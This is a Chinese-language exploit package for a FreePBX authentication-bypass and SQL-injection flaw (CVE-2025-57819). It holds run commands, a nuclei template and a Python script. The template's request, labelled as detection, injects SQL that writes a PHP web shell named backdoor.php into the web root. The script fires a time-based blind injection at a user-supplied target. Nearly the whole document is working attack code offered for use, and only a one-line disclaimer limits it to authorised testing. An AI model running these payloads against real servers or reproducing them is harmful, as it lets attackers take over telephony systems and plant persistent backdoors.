FreePBX 身份验证绕过与SQL注入漏洞 (CVE-2025-57819) 利用工具

# 将模板文件放置于 nuclei-templates 目录或指定路径
nuclei -u https://your-freepbx-host.com -t /path/to/CVE-2025-57819.yaml

# 确保脚本具有执行权限
chmod +x Blackash-CVE-2025-57819.py

# 运行脚本，指定目标IP或域名
sudo python3 Blackash-CVE-2025-57819.py <目标IP或域名>

# 示例
sudo python3 Blackash-CVE-2025-57819.py 10.10.10.10

id: CVE-2025-57819

info:
  name: FreePBX Authentication Bypass / SQLi
  author: your_name
  severity: critical
  description: 检测 FreePBX 终结点模块中的身份验证绕过和 SQL 注入漏洞。
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57819
  tags: cve,cve2025,freepbx,rce,sqli

requests:
  - method: POST
    path:
      - "{{BaseURL}}/admin/ajax.php?module=endpoint&command=save"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      key=1' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/backdoor.php';-- -
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQL syntax"          # 简单的 SQL 错误检测，实际应用中需更精确
      - type: status
        status:
          - 200

#!/usr/bin/env python3
# Blackash-CVE-2025-57819.py - FreePBX CVE-2025-57819 漏洞检测利用脚本
# 作者: Blackash
# 该脚本仅用于教育和授权测试

import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

# 禁用SSL警告，因为目标可能使用自签名证书
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(target_url):
    """
    检测目标URL是否存在CVE-2025-57819漏洞。
    通过向存在漏洞的终结点发送精心构造的SQL注入Payload进行判断。
    """
    print(f"[*] 正在检测目标: {target_url}")
    vuln_endpoint = "/admin/ajax.php?module=endpoint&command=save"
    payload = "key=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # 时间盲注Payload

    try:
        response = requests.post(
            url=target_url.rstrip('/') + vuln_endpoint,
            data=payload,
            verify=False,
            timeout=10
        )

        if response.elapsed.total_seconds() >= 5:
            print("[+] 漏洞利用成功！目标存在严重安全风险。")
            print(f"[+] 响应时间: {response.elapsed.total_seconds()} 秒")
            return True
        else:
            print("[-] 目标似乎已修复或不易受攻击。")
            return False

    except requests.exceptions.Timeout:
        print("[!] 请求超时，目标可能存在问题。")
        return False
    except Exception as e:
        print(f"[!] 检测过程中发生错误: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"用法: {sys.argv[0]} <目标IP或域名>")
        print(f"示例: sudo {sys.argv[0]} 10.10.10.10")
        sys.exit(1)

    target = sys.argv[1]
    if not target.startswith(('http://', 'https://')):
        target = 'https://' + target

    check_vulnerability(target)